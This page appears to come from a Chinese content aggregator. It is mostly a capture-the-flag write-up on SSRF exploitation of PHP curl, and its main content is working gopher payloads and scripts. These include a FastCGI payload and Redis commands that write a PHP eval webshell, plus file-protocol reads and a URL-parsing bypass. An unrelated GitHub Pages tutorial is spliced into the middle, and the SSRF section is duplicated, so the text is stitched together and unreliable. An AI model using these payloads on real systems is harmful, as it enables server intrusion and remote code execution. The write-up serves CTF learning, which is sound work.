
php curl抓取网页指定内容
通用方法:浅析SSRF的各种利用方式
网站优化 • 优采云 发表了文章 • 0 个评论 • 82 次浏览 • 2022-09-22 18:24
标题说明:尝试在12处访问flag.php7.0.0.1
有效负载:?url=
这是因为过滤不严格,所以我们可以访问内网。
字典协议
在SSRF中,可以使用dict协议和http协议来检测内网的活跃度和端口开放情况。
标题说明:来sexy CTFHub在线扫描端口,据说端口范围是8000-9000
应该通过题来判断,和上题类似,但是是端口问题
先判断哪个端口有web服务
这里是直接用burp爆端口
但是估计是环境有问题,想要的端口还没炸。
如果这里爆了,直接访问就行了
文件伪协议
标题说明:尝试阅读Web目录下的flag.php
文件作为协议不用多说
有效负载:?url=file:/var/www/html/flag.php
但您需要知道文件的确切位置才能读取敏感信息。
Gopher 协议
Gopher 是 Internet 上非常知名的信息搜索系统。它将 Internet 上的文件组织成某种索引,非常方便地将用户从 Internet 上的一个地方带到另一个地方。如果发起了 post 请求,则需要使用回车和换行符 %0d%0a。如果有多个参数,参数之间的&也需要进行URL编码。
Gopher 经常在 SSRF 中用于构造 GET/POST 数据包以攻击应用程序。
标题说明:这次是发送一个 HTTP POST 请求。顺便说一下,ssrf是用php的curl实现的。并且会跟踪302跳转,我准备了一个302.php,可能对你有用。
输入主题直接查看源码
?url=file:/var/www/html/flag.php 和 ?url=file:/var/www/html/index.php
index.php
这里告诉我们用127.0.0.1来访问flag.php
key,貌似是要我们POST这个key,但是提交页面没有提交按钮,所以需要到本地新建一个POST
这里我们需要构造一个POST包
gopher://127.0.0.1:80/_POST /flag.php HTTP/1.1<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />Host: 127.0.0.1:80<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />Content-Type: application/x-www-form-urlencoded<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />Content-Length: 36<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" /><br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />key=00f001523d0b955749ea5e3b0ca09b5f
然后我们可以做url编码,编码的数量取决于我们的访问次数。
第一次编码:
gopher://127.0.0.1:80/_POST%20/flag.php%20HTTP/1.1%0AHost:%20127.0.0.1:80%0AContent-Type:%20application/x-www-form-urlencoded%0AContent-Length:%2036%0A%0Akey=f1688c97bf2e6dda47be87e4d8f87cd7
把%0A换成%0d%0A,最后加上%0d%0A,最后加上%0d%0a (\r\n)
gopher://127.0.0.1:80/_POST%20/flag.php%20HTTP/1.1%0d%0AHost:%20127.0.0.1:80%0d%0AContent-Type:%20application/x-www-form-urlencoded%0d%0AContent-Length:%2036%0d%0A%0d%0Akey=f1688c97bf2e6dda47be87e4d8f87cd7%0d%0a
然后做一个 URL 编码
gopher%3A//127.0.0.1%3A80/_POST%2520/flag.php%2520HTTP/1.1%250D%250AHost%253A%2520127.0.0.1%250D%250AContent-Type%253A%2520application/x-www-form-urlencoded%250D%250AContent-Length%253A%252036%250D%250A%250D%250Akey%253Df1688c97bf2e6dda47be87e4d8f87cd7%250D%250A
当然是手动编码,再加上复杂的转换,大大增加了错误率,于是我在网上找了一个脚本
import urllib.parse<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />payload =\<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />"""POST /flag.php HTTP/1.1<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />Host: 127.0.0.1<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />Content-Type: application/x-www-form-urlencoded<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />Content-Length: 36<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" /><br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />key=c384d200658f258e5b5c681bf0aa29a8<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />""" <br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" /><br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />#注意后面一定要有回车,回车结尾表示http请求结束<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />tmp = urllib.parse.quote(payload)<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />new = tmp.replace('%0A','%0D%0A')<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />result = 'gopher://127.0.0.1:80/'+'_'+new<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />result = urllib.parse.quote(result)<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />print(result) # 这里因为是GET请求所以要进行两次url编码
您可以直接对结果进行编码并提交。
FastCGI 协议
标题说明:这次。我们需要攻击 fastcgi 协议。也许所附的文章会对你有所帮助
发个附件介绍fastcgi协议和PHP-FPM
FastCGI<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" /><br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />Wikipedia对FastCGI的解释:快速通用网关接口(FastCommon Gateway Interface/FastCGI)是一种让交互程序与Web服务器通信的协议。FastCGI是早期通用网关接口(CGI)的增强版本。FastCGI致力于减少网页服务器与CGI程序之间交互的开销,从而使服务器可以同时处理更多的网页请求。<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" /><br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />php-fpm<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" /><br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />官方对php-fpm的解释是FPM(FastCGI 进程管理器)用于替换 PHP FastCGI 的大部分附加功能,对于高负载网站是非常有用的。也就是说php-fpm是FastCGI的一个具体实现,其默认监听9000端口
这里,虽然附件中给出的复现方法已经很好了,但是查了资料后发现还有第二种方法,而且比较简单,所以我就用第二种方法复现了.
使用工具 Gopherus() 生成攻击 FastCGI 协议的有效载荷
python gopherus.py --exploit fastcgi<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />/var/www/html/index.php # 这里输入的是一个已知存在的php文件<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />echo PD9waHAgZXZhbCgkX1BPU1Rbd2hvYW1pXSk7Pz4 | base64 -d > /var/www/html/shell.php
这里我直接指master的payload,生成的payload
gopher://127.0.0.1:9000/_%0FSERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0FSERVER_PROTOCOLHTTP/1.1%0ECONTENT_LENGTH134%0EREQUEST_METHODPOST%09KPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Aauto_prepend_file%20%3D%20php%3A//input%0FSCRIPT_FILENAME/var/www/html/index.php%20%20%0DDOCUMENT_ROOT/%86%3C%3Fphp%20system%28%27echo%20PD9waHAgZXZhbCgkX1BPU1Rbd2hvYW1pXSk7Pz4%20%7C%20base64%20-d%20%3E%20/var/www/html/shell.php%27%29%3Bdie%28%27-----Made-by-SpyD3r-----%0A%27%29%3B%3F%3E
这里是url-encoded,因为url会解码一次,curl也会解码一次,所以需要编码两次。这个payload已经被编码过一次,所以可以再次编码。
gopher%3A//127.0.0.1%3A9000/_%2501%2501%2500%2501%2500%2508%2500%2500%2500%2501%2500%2500%2500%2500%2500%2500%2501%2504%2500%2501%2501%2505%2505%2500%250F%2510SERVER_SOFTWAREgo%2520/%2520fcgiclient%2520%250B%2509REMOTE_ADDR127.0.0.1%250F%2508SERVER_PROTOCOLHTTP/1.1%250E%2503CONTENT_LENGTH134%250E%2504REQUEST_METHODPOST%2509KPHP_VALUEallow_url_include%2520%253D%2520On%250Adisable_functions%2520%253D%2520%250Aauto_prepend_file%2520%253D%2520php%253A//input%250F%2517SCRIPT_FILENAME/var/www/html/index.php%250D%2501DOCUMENT_ROOT/%2500%2500%2500%2500%2500%2501%2504%2500%2501%2500%2500%2500%2500%2501%2505%2500%2501%2500%2586%2504%2500%253C%253Fphp%2520system%2528%2527echo%2520PD9waHAgZXZhbCgkX1BPU1Rbd2hvYW1pXSk7Pz4%2520%257C%2520base64%2520-d%2520%253E%2520/var/www/html/shell.php%2527%2529%253Bdie%2528%2527-----Made-by-SpyD3r-----%250A%2527%2529%253B%253F%253E%2500%2500%2500%2500
然后上传成功
蚂蚁剑连接壳
连接成功,在根目录下找到flag
Redis 协议
标题说明:这次来攻击redis协议,redis://127.0.0.1:6379。材料?无信息!自己找!
众所周知,redis服务是在6379端口开启的,通常是利用redis的非授权访问来达到写shell或者反弹ssh的目的。
这里本来是想用gopherus直接生成redis的未授权访问并写入shell
gopher://127.0.0.1:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2430%0D%0A%0A%0A%3C%3Fphp%20eval%28%24_POST%5B%271%27%5D%29%3B%3F%3E%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2413%0D%0A/var/www/html%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%0A
但是二次编码时输入不成功,不知道为什么。这里我还是用whoami大师的方法来玩。
构造redis命令:
flushall<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />set 1 ''<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />config set dir /var/www/html<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />config set dbfilename shell.php<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />save
大师 WHOAMI 的 EXP 脚本:
import urllib<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />protocol="gopher://"<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />ip="127.0.0.1"<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />port="6379"<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />shell="\n\n\n\n"<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />filename="shell.php"<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />path="/var/www/html"<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />passwd=""<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />cmd=["flushall",<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />"set 1 {}".format(shell.replace(" ","${IFS}")),<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />"config set dir {}".format(path),<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />"config set dbfilename {}".format(filename),<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />"save"<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />]<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />if passwd:<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />cmd.insert(0,"AUTH {}".format(passwd))<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />payload=protocol+ip+":"+port+"/_"<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />def redis_format(arr):<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />CRLF="\r\n"<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />redis_arr = arr.split(" ")<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />cmd=""<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />cmd+="*"+str(len(redis_arr))<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />for x in redis_arr:<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ")<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />cmd+=CRLF<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />return cmd<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" /><br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />if __name__=="__main__":<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />for x in cmd:<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />payload += urllib.quote(redis_format(x))<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />print urllib.quote(payload) # 由于我们这里是GET,所以要进行两次url编<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />码
生成以下负载
gopher%3A//127.0.0.1%3A6379/_%252A1%250D%250A%25248%250D%250Aflushall%250D%250A%252A3%250D%250A%25243%250D%250Aset%250D%250A%25241%250D%250A1%250D%250A%252435%250D%250A%250A%250A%253C%253Fphp%2520eval%2528%2524_POST%255B%2522whoami%2522%255D%2529%253B%253F%253E%250A%250A%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%25243%250D%250Adir%250D%250A%252413%250D%250A/var/www/html%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%252410%250D%250Adbfilename%250D%250A%25249%250D%250Ashell.php%250D%250A%252A1%250D%250A%25244%250D%250Asave%250D%250A
获取传值,蚁剑连接。
但是我一直报错,很奇怪
常见的绕过方法
这里还是用ctfhub的话题,不过绕过方法,我会展开buu和ctfshow的相关话题。
网址绕过
标题说明:请求的URL必须收录,尝试使用URL的某些特殊部分绕过此限制
构建有效载荷:
?url=http://notfound.ctfhub.com@127.0.0.1/flag.php
扩展名:如果需要以 .com 开头并以 @ 结尾
有效载荷
免费提供:利用 GitHub 快速搭建一个免费个人网站 | 2022(无需编程)
首先,让我展示一下成品:我的个人 网站。
使用 GitHub Pages 服务的好处是:
唯一的限制是你只能构建静态的网站——即只有信息呈现,没有用户交互。但是对于个人网站来说,静态网站就绰绰有余了。
学习成本:
个人网站是建立个人品牌的重要手段。无论是求职还是提升行业影响力,个人网站都是加分项。
如今,建立个人网站 非常容易,但拥有个人网站 的人仍然很少——将其添加到您的简历中会有所不同。
还等什么,开始吧!
1.注册一个 GitHub 帐户(如果有,请跳过)
GitHub是微软旗下全球最大的开源社区和代码托管平台,是程序员最常用的网站程序之一。
访问,点击右上角“注册”:
来个炫酷的注册界面(背景星空会动)!
按照提示,输入邮箱地址,设置密码,设置ID(支持字母数字,“-”符号)。
应谨慎选择此 ID,因为它将出现在个人 网站 的域名中。作为演示,我这里使用了“test-user-2022”,那么最终的个人网站地址就是test-user-2022.github.io:
然后会有一个用户验证(从一堆图像中选择一个指定的),验证码将在完成后发送到您的电子邮件。输入验证码,账号就创建好了。
默认情况下,您将进入以下页面并询问您一些问题。如果不想回答,直接点击底部跳过
2.创建指定仓库
点击右上角的用户头像,在下拉框中选择“Your repositories”。
如果是新注册的账号,列表为空。点击“新建”按钮:
在下一页,在“Repository name”下输入“[your ID].github.io”作为存储库名称。
比如我这里的ID是test-user-2022,那么就输入test-user-2022.github.io。
然后点击底部的“创建仓库”:
3.选择一个主题
上一步的仓库创建成功后,会自动跳转到新创建的仓库。
你可以看到一堆操作指南,忽略它。点击“设置”:
在仓库设置页面,点击左侧导航栏中的“页面”:
点击“选择主题”为您的个人选择一个主题网站:
GitHub Pages 提供 12 个可选主题。选择后,点击“选择主题”:
(如果您在开头点击我的个人资料网站,您会发现我使用的是默认的 Cayman 主题。)
4. 发布和查看网站
选择主题后,会来到以下页面。
GitHub默认会生成一些文本,点击“预览”查看效果:
这里使用的是一种称为“Markdown”的语法。学习门槛不高,程序员一般都非常熟悉。
你可以不用管它,点击页面底部的“提交更改”按钮,先发布网站!无论如何,您可以随时返回并更改它:
确认发布后,会跳转到仓库中刚刚生成的“index.md”文件:
您现在可以访问您的个人网站!还是在仓库的“设置”-“页面”页面,可以看到网站已经发布了(发布网站大概需要一两分钟):
URL 格式为“[your ID].github.io”,与仓库名称相同。
访问效果:
5. 编辑 网站内容
当然,此时显示的是GitHub默认生成的文本,需要自己替换成自己的内容。
如何编辑?只需使用 GitHub 提供的网页编辑器即可。
在刚才的“index.md”文件页面,点击编辑图标:
然后在编辑器中使用markdown语法修改内容。
markdown 语法并不难。以下是一些最常见的语法:
另外,如果需要使用图片,可以直接将图片拖放到编辑器中。
修改后点击“预览”进行预览。
如果没有问题,点击页面底部的“Commit changes”,一两分钟就可以看到更新的人了网站哦~
上面的“test-user-2022”是我临时创建的用于演示的用户。我个人的 网站 实际存储库是 /chen-ni/chen-ni.github.io 供您参考。
我只是做了一个非常简单的一页个人网站,因为它已经足够了。如果需要,您还可以使其更复杂,而不是使用现成的主题 - 但这超出了本文的范围。
更多程序员实用工具,欢迎关注@Nichen~ 查看全部
通用方法:浅析SSRF的各种利用方式
标题说明:尝试在12处访问flag.php7.0.0.1
有效负载:?url=
这是因为过滤不严格,所以我们可以访问内网。
字典协议
在SSRF中,可以使用dict协议和http协议来检测内网的活跃度和端口开放情况。
标题说明:来sexy CTFHub在线扫描端口,据说端口范围是8000-9000
应该通过题来判断,和上题类似,但是是端口问题
先判断哪个端口有web服务
这里是直接用burp爆端口
但是估计是环境有问题,想要的端口还没炸。
如果这里爆了,直接访问就行了
文件伪协议
标题说明:尝试阅读Web目录下的flag.php
文件作为协议不用多说
有效负载:?url=file:/var/www/html/flag.php
但您需要知道文件的确切位置才能读取敏感信息。
Gopher 协议
Gopher 是 Internet 上非常知名的信息搜索系统。它将 Internet 上的文件组织成某种索引,非常方便地将用户从 Internet 上的一个地方带到另一个地方。如果发起了 post 请求,则需要使用回车和换行符 %0d%0a。如果有多个参数,参数之间的&也需要进行URL编码。
Gopher 经常在 SSRF 中用于构造 GET/POST 数据包以攻击应用程序。
标题说明:这次是发送一个 HTTP POST 请求。顺便说一下,ssrf是用php的curl实现的。并且会跟踪302跳转,我准备了一个302.php,可能对你有用。
输入主题直接查看源码
?url=file:/var/www/html/flag.php 和 ?url=file:/var/www/html/index.php
index.php
这里告诉我们用127.0.0.1来访问flag.php
key,貌似是要我们POST这个key,但是提交页面没有提交按钮,所以需要到本地新建一个POST
这里我们需要构造一个POST包
gopher://127.0.0.1:80/_POST /flag.php HTTP/1.1<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />Host: 127.0.0.1:80<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />Content-Type: application/x-www-form-urlencoded<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />Content-Length: 36<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" /><br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />key=00f001523d0b955749ea5e3b0ca09b5f
然后我们可以做url编码,编码的数量取决于我们的访问次数。
第一次编码:
gopher://127.0.0.1:80/_POST%20/flag.php%20HTTP/1.1%0AHost:%20127.0.0.1:80%0AContent-Type:%20application/x-www-form-urlencoded%0AContent-Length:%2036%0A%0Akey=f1688c97bf2e6dda47be87e4d8f87cd7
把%0A换成%0d%0A,最后加上%0d%0A,最后加上%0d%0a (\r\n)
gopher://127.0.0.1:80/_POST%20/flag.php%20HTTP/1.1%0d%0AHost:%20127.0.0.1:80%0d%0AContent-Type:%20application/x-www-form-urlencoded%0d%0AContent-Length:%2036%0d%0A%0d%0Akey=f1688c97bf2e6dda47be87e4d8f87cd7%0d%0a
然后做一个 URL 编码
gopher%3A//127.0.0.1%3A80/_POST%2520/flag.php%2520HTTP/1.1%250D%250AHost%253A%2520127.0.0.1%250D%250AContent-Type%253A%2520application/x-www-form-urlencoded%250D%250AContent-Length%253A%252036%250D%250A%250D%250Akey%253Df1688c97bf2e6dda47be87e4d8f87cd7%250D%250A
当然是手动编码,再加上复杂的转换,大大增加了错误率,于是我在网上找了一个脚本
import urllib.parse<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />payload =\<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />"""POST /flag.php HTTP/1.1<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />Host: 127.0.0.1<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />Content-Type: application/x-www-form-urlencoded<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />Content-Length: 36<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" /><br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />key=c384d200658f258e5b5c681bf0aa29a8<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />""" <br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" /><br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />#注意后面一定要有回车,回车结尾表示http请求结束<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />tmp = urllib.parse.quote(payload)<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />new = tmp.replace('%0A','%0D%0A')<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />result = 'gopher://127.0.0.1:80/'+'_'+new<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />result = urllib.parse.quote(result)<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />print(result) # 这里因为是GET请求所以要进行两次url编码
您可以直接对结果进行编码并提交。
FastCGI 协议
标题说明:这次。我们需要攻击 fastcgi 协议。也许所附的文章会对你有所帮助
发个附件介绍fastcgi协议和PHP-FPM
FastCGI<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" /><br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />Wikipedia对FastCGI的解释:快速通用网关接口(FastCommon Gateway Interface/FastCGI)是一种让交互程序与Web服务器通信的协议。FastCGI是早期通用网关接口(CGI)的增强版本。FastCGI致力于减少网页服务器与CGI程序之间交互的开销,从而使服务器可以同时处理更多的网页请求。<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" /><br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />php-fpm<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" /><br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />官方对php-fpm的解释是FPM(FastCGI 进程管理器)用于替换 PHP FastCGI 的大部分附加功能,对于高负载网站是非常有用的。也就是说php-fpm是FastCGI的一个具体实现,其默认监听9000端口
这里,虽然附件中给出的复现方法已经很好了,但是查了资料后发现还有第二种方法,而且比较简单,所以我就用第二种方法复现了.
使用工具 Gopherus() 生成攻击 FastCGI 协议的有效载荷
python gopherus.py --exploit fastcgi<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />/var/www/html/index.php # 这里输入的是一个已知存在的php文件<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />echo PD9waHAgZXZhbCgkX1BPU1Rbd2hvYW1pXSk7Pz4 | base64 -d > /var/www/html/shell.php
这里我直接指master的payload,生成的payload
gopher://127.0.0.1:9000/_%0FSERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0FSERVER_PROTOCOLHTTP/1.1%0ECONTENT_LENGTH134%0EREQUEST_METHODPOST%09KPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Aauto_prepend_file%20%3D%20php%3A//input%0FSCRIPT_FILENAME/var/www/html/index.php%20%20%0DDOCUMENT_ROOT/%86%3C%3Fphp%20system%28%27echo%20PD9waHAgZXZhbCgkX1BPU1Rbd2hvYW1pXSk7Pz4%20%7C%20base64%20-d%20%3E%20/var/www/html/shell.php%27%29%3Bdie%28%27-----Made-by-SpyD3r-----%0A%27%29%3B%3F%3E
这里是url-encoded,因为url会解码一次,curl也会解码一次,所以需要编码两次。这个payload已经被编码过一次,所以可以再次编码。
gopher%3A//127.0.0.1%3A9000/_%2501%2501%2500%2501%2500%2508%2500%2500%2500%2501%2500%2500%2500%2500%2500%2500%2501%2504%2500%2501%2501%2505%2505%2500%250F%2510SERVER_SOFTWAREgo%2520/%2520fcgiclient%2520%250B%2509REMOTE_ADDR127.0.0.1%250F%2508SERVER_PROTOCOLHTTP/1.1%250E%2503CONTENT_LENGTH134%250E%2504REQUEST_METHODPOST%2509KPHP_VALUEallow_url_include%2520%253D%2520On%250Adisable_functions%2520%253D%2520%250Aauto_prepend_file%2520%253D%2520php%253A//input%250F%2517SCRIPT_FILENAME/var/www/html/index.php%250D%2501DOCUMENT_ROOT/%2500%2500%2500%2500%2500%2501%2504%2500%2501%2500%2500%2500%2500%2501%2505%2500%2501%2500%2586%2504%2500%253C%253Fphp%2520system%2528%2527echo%2520PD9waHAgZXZhbCgkX1BPU1Rbd2hvYW1pXSk7Pz4%2520%257C%2520base64%2520-d%2520%253E%2520/var/www/html/shell.php%2527%2529%253Bdie%2528%2527-----Made-by-SpyD3r-----%250A%2527%2529%253B%253F%253E%2500%2500%2500%2500

然后上传成功
蚂蚁剑连接壳
连接成功,在根目录下找到flag
Redis 协议
标题说明:这次来攻击redis协议,redis://127.0.0.1:6379。材料?无信息!自己找!
众所周知,redis服务是在6379端口开启的,通常是利用redis的非授权访问来达到写shell或者反弹ssh的目的。
这里本来是想用gopherus直接生成redis的未授权访问并写入shell
